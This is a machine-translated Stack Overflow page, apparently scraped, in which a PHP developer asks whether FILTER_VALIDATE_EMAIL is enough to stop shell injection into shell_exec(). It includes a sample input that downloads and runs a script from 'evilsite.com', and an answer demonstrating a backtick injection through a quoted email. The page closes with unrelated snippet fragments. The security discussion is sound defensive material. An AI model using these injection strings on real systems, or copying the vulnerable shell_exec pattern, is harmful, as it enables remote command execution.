- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
因此,我计划使用 shell_exec()
来处理运行发送电子邮件的 php 脚本。
一切都运行良好,但我只是有点担心仅使用 FILTER_VALIDATE_EMAIL
来确保不会发生注入(inject)的安全隐患。
因此,例如,我将使用与此类似的东西:
$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo 'Nope ...';
} else {
shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}
所以,显然没有验证,我可以提交我的电子邮件,如下所示:
'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '
一切都可能会崩溃......
这是 100% 注入(inject)证明(据我们所知)还是我应该添加其他内容?
最佳答案
FILTER_VALIDATE_EMAIL 实现基于 Michael Rushton’s Email Address Validation ,它使用 RFC 5321 验证输入, 我。即Mailbox production rule .
这些电子邮件地址比实际使用的电子邮件地址更广泛。例如,RFC 5321 允许在 Local-part 中引用字符串,例如 "…"@example.com
。
这允许注入(inject)任意命令,例如:
"'`whoami`'"@example.com
这将在您的 shell 命令中结束为:
/usr/bin/php /var/www/mysite/includes/sendemail '"'`whoami`'"@example.com' > /dev/null 2>/dev/null &
生成的 sendmail
参数值将是 whoami
引用的结果,例如 "markus"@example.com
。
您会发现 FILTER_VALIDATE_EMAIL 根本不适合验证 shell 参数,因为它本来就不适合。
使用用于转义 shell 参数的函数,例如 escapeshellarg
用于转义单个参数或 escapeshellcmd
对于任意参数。
通常,如果您可以使用内置 PHP 功能实现相同的目的,则应该避免使用 shell 命令,因为即使 escapeshellarg
is not free of bugs .
关于php - FILTER_VALIDATE_EMAIL 是否足以阻止 shell 注入(inject)?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/30810758/
我想在我公司的 Intranet 中,在 Internet 上放置一个 Web 服务,以使合作伙伴能够访问该 Web 服务提供的信息。 目前,Web 服务位于 SOA 中,我决定将所有内容都迁移到 R
是the Scribe OAuth library (用Java编写)支持3足OAuth ? 这里有人说它只适用于两条腿: How do I use OAuth within my GWT appli
在 React 中使用 Redux 进行 OAuth2 身份验证的可接受方法是什么? 我当前的设置涉及使用 Redux-Auth-Wrapper 包装 react 路由器组件,如果用户未经过身份验证,
OAuth 1.0a 凭证需要以明文形式(或以明文形式检索的方式)存储在服务器上,至少在进行 2 腿身份验证时,我是否正确?假设您使用的是 HTTPS 或其他 TLS,这不是比使用用户名和加盐 + 哈
我是一名优秀的程序员,十分优秀!